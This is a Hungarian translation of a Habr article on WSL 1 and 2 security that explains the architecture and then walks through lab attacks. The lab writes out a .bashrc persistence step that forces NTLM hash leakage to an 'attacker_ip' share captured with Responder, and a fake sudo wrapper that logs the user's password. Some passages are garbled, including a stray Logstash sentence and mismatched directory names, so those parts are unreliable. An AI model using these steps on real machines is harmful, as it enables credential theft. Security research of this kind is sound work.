Helló, Habr! Októberben az OTUS elindít egy új kurzust. A kurzus kezdete előtt megosztunk veletek egy cikket, amelyet egyik oktatónk, Alekszandr Kolesznikov írt.

2016-ban a Microsoft bemutatta az IT közösségnek az új WSL (WWindows SAlrendszer a LLinuxhoz), mely a jövőben lehetővé tette az eddig meg nem békülő konkurensek, a Windows és a Linux népszerűségért versengő operációs rendszerek egyesítését. Ez a technológia lehetővé tette, hogy a Linux operációs rendszer eszközeit Windows környezetben használhassuk anélkül, hogy Linuxot kellene futtatnunk, például a többszörös indítással (Multi-boot). A Habr-on rengeteg cikk található a WSL használatának előnyeiről. Sajnos azonban a cikk írásának időpontjában ezen a platformon nem találtunk a két operációs rendszer szimbiózisának biztonsági kutatásairól. Ez a bejegyzés megpróbálja ezt orvosolni. A cikk a WSL 1 és 2 architektúrájának sajátosságairól beszél, és néhány példát bemutat a rendszerek ellen irányuló támadásokra. A cikk két részre oszlik. Az első részben bemutatjuk a Linux és Windows oldaláról érkező támadások alapvető elméleti módszereit. A második rész a tesztkörnyezet beállítását és a támadások reprodukálását fogja tartalmazni.
WSL 1: az architektúra sajátosságai
A WSL biztonsági problémáiba való pontosabb betekintés érdekében meg kell határozni a rendszer alrendszerének megvalósításával kapcsolatos főbb szempontokat. A WSL által megoldott egyik fő felhasználói feladat a Linux rendszerek terminálon való működtetésének lehetősége egy Windows operációs rendszerű hoszton. Az általuk javasolt kompatibilitás annyira natív volt, hogy a Linux végrehajtható fájlok (ELF) közvetlenül futtathatók voltak a Windows rendszerben. E célok elérése érdekében a Windows 10-ben egy speciális alrendszert hoztak létre, amely lehetővé tette Linux alkalmazások futtatását egy adott rendszerhívások készlete segítségével — így megpróbálták a Linux syscall készlet térképezését elvégezni Windows-ra. Fizikailag új illesztőprogramok és új folyamatformátum hozzáadásával valósították meg. Láthatóan az architektúra így nézett ki:

A Linux operációs rendszerrel való interakció lényegében több kernel-modul és speciális folyamatok — pico — révén lett megszervezve. A fenti ábrán látható, hogy a Linux példányban futó folyamatnak natívnak kell lennie, és ugyanazokat az erőforrásokat kell használnia, mint a Windows rendes alkalmazásai. De hogyan lehet ezt elérni? A projektben kialakították a Windows számára készült folyamatok koncepcióit, amelyek biztosították a működéshez szükséges operációs rendszer komponenseket (a verziójától függően) más OS alkalmazása számára.
Észrevéhetjük, hogy a javasolt absztrakció lehetővé tette, hogy ne a Microsoft Windows operációs rendszerre (amelyben a másik OS folyamata várható) összpontosítsunk, hanem egy általános megközelítést kínált.
Így bármely alkalmazás a pico folyamat belsejében működhetett, figyelmen kívül hagyva a Windows kernelt:
- A kompatibilitási és rendszerhívás-lefordítási problémákat speciális szolgáltatóknak kellett megoldaniuk;
- Ahozzáférés korlátozását a Biztonsági Monitoron keresztül kell megvalósítani. A monitor a kernelben helyezkedik el, ezért a Windows-nak szüksége volt egy új illesztőprogramra, amely szolgáltatóként működhetett az ilyen folyamatokhoz. A pico folyamat prototípusa az alábbiakban látható:

Mivel a Linux fájlrendszere érzékeny a fájlok és könyvtárak nevére, a Windows-ban két fájlrendszert vezettek be a WSL működéséhez — VolFS és DriveFS. A VolFS a Linux fájlrendszerének implementációja, míg a DriveFS egy olyan fájlrendszer, amely Windows szabályai szerint működik, de lehetőséget biztosít a névérzékenység választására.
WSL 2
A WSL 1 számos korlátozással rendelkezett, amelyek megakadályozták, hogy a lehető legtöbb feladat megoldására használják; például hiányzott a 32 bites Linux alkalmazások indításának lehetősége, nem lehetett eszközmeghajtókat használni. Ezért 2020-ban megjelent a WSL 2, amely megváltoztatta a rendszerarchitektúra megközelítését. A WSL 2 egy optimalizált virtuális gép, amely a WSL 1 erőforrás-felhasználási jellemzőivel rendelkezik. Most, a Windows operációs rendszer felhasználója által megoldott problémák függvényében választható a szükséges Linux alrendszer verzió. A potenciális sebezhetőségek mérséklése érdekében a WSL 2 a Hyper-V alapjain lett létrehozva a Windows 10-ben. Ebben a formában a Windows izoláltan tudja futtatni a Linux operációs rendszer kernelét. Fontos megjegyezni, hogy a WSL 1-es verzió bétaverzióként került bemutatásra, amelynek célja volt a Windows fejlődésének irányának bemutatása ezen a területen, ezért a Hyper-V-re való áttérés elkerülhetetlen volt. A végeredmény architektúrája a következőképpen néz ki:

Ebben a verzióban a Windows és Linux rendszerek magjainak saját erőforrásaik vannak, és az átfedés csak a fájlrendszerben létezik, ám ezt az átfedést nem lehet teljesnek nevezni. A fájlrendszerek közötti interakció a 9P protokollon működő kliens-szerver burkolaton keresztül valósul meg.
Jelenleg a Microsoft lehetőséget biztosít a WSL 1 és WSL 2 közötti váltásra. Mindkét verzió használatra elérhető.
WSL biztonság
Jelenleg több munkálat is létezik, amelyek a legitim operációs rendszer eszközeinek felhasználásával kapcsolatos támadási megközelítéseket írják le az alrendszerek közötti interakcióra. Ezeket a forgatókönyveket fogjuk használni a támadások aktuális relevanciájának ellenőrzésére a cikk írásának időpontjában. A támadások és a végrehajtásuk általános listája:
1. Fájlrendszer implementálása: hozzáférési jogok, közös könyvtárak/adatcsere mechanizmusok megléte.
Kutatásokat végeztek a hozzáférési szabályok megsértésének vizsgálatára Linux FS->Windows FS, Windows FS->Linux FS. A vizsgálatok azt mutatták, hogy lehetőség van egy adott fájl módosítására a cél operációs rendszerben. Továbbá kísérleteket végeztek hamisítással, duplikálások létrehozásával és a fájlrendszerek egyes részeinek törlésével.
Forgatókönyv:
- A. Támadás a Windows operációs rendszerről – fájlok módosítása az /etc könyvtárból a Linux operációs rendszerben.
- B. Támadás a Linux operációs rendszerről – fájlok módosítása a következő könyvtárakban:
C:Windows,, Logstash nem fog normálisan elindulni. Ezután módosítani kell a fájlt,C:Users
2. Hálózati verem megvalósítása.
A kutatások a Linux operációs rendszerből a Windowsra irányuló támadások példáin alapultak. A hálózati verem működésének sajátosságait használták, nevezetesen különböző erőforrások autentikálási mechanizmusait.
Forgatókönyv:
- Hozzáférés nyitása egy porthoz, amely a Windows rendszerben foglalt.
- Port megnyitása megfelelő jogosultságok hiányában.
- Reverse shell indítása elf fájl használatával Windows operációs rendszeren.
3. Káros szoftverek indításának elrejtése a WSL alrendszer segítségével.
A kutatások egy egyszerű tényre épültek — a védelmi alrendszerek nem képesek másik mag eventjeit elfogni, amely legitim szolgáltatón keresztül működik az operációs rendszerben WSL 1 esetén. WSL 2 esetén nincs lehetőség megnézni a különféle eseményeket, amelyek egy külön magban zajlanak egy könnyű virtuális gép keretében.
Forgatókönyv:
1) Távoli hozzáférésre szolgáló alkalmazás indítása és a naplózott események megtekintése.
WSL 1 kísérletek: hash elfogása (Windows OS)
Végre eljutottunk a gyakorlati részhez. Először is be kell állítani a tesztelési környezetet. Minden kísérletet egy Windows 10 2004 operációs rendszerrel rendelkező standon fognak végezni. A WSL számára az Ubuntu 18.04 operációs rendszer képe lett kiválasztva. A kép véletlenszerűen lett kiválasztva, és bármely más is megfelelően működik. A stand beállításához szükséges parancsok:
Először is futtatni kell memóriába a rendszergazdai jogosultsággal.
WSL 1 esetén a következő parancsokat kell végrehajtani:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #WSL funkció engedélyezése
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Linux kép letöltése a Microsoft Store-ból
Az újraindítás után a standon ki lehet adni a bash parancsot. Ha minden rendben van, akkor a Windows konzolban körülbelül ilyen kimenetet fog látni:

A támadó gépként Kali Linux disztribúciót fogunk használni, minden gépnek ugyanabban a helyi hálózatban kell lennie.
Tegyük fel, hogy van nem privilegizált hozzáférésünk a WSL-hez egy Windows gépen. Próbáljunk meg támadást végrehajtani a Linux operációs rendszeren, parancsot végrehajtva a Linuxból. A támadás megvalósításához egy egyszerű automatikus indítási technikát fogunk alkalmazni — hozzáadjuk a szkriptünket a Linux környezethez végrehajtásra. Ehhez módosítanunk kell egy fájlt. .bashrc.
A WSL-lel rendelkező gépen futtatjuk:
1. bash
2. Navigálj a felhasználó otthoni könyvtárába: cd /home/sam/
3. echo " /home/sam/.attack.sh" >> .bashrc
4. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1 >> .attack.sh
5. chmod u+x .attack.sh
6. exitA Kali Linux gépen futtatjuk:
1. Responder -I eth0 -rdvwA Windows gépen elindítjuk a bash-t.
Várjuk az eredményt a Kali Linux gépen:

Így Windows felhasználói hash-eket szereztünk a WSL rendszeren keresztül, parancs végrehajtásával a Linux rendszeren.
WSL 1 kísérletek: felhasználói jelszó megszerzése (Linux OS)
Egy újabb kísérletet fogunk végezni. Ennek a tesztnek a keretében kiegészítjük a fájlt .bashrc néhány parancs hozzáadásával, hogy megszerezzük a Linux operációs rendszer felhasználójának jelszavát.
Indítsuk el a bash-t, és írjuk be a következő parancsokat:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit A támadás sikeres végrehajtásához szükséges, hogy Sam felhasználó a Linux termináljában meghívja a sudót. Ekkor a Linux operációs rendszer felhasználójának jelszava a fájlban fog megjelenni. pass.txt:

A támadások megvalósítása kizárólag elméleti tájékoztatás céljából történt.
A cikk következő részében a 9P protokoll megvalósítását, egy szkenner létrehozását, valamint egy támadást fogunk bemutatni e protokoll segítségével.
Felhasznált irodalom
További olvasás
Forrás: habr.com
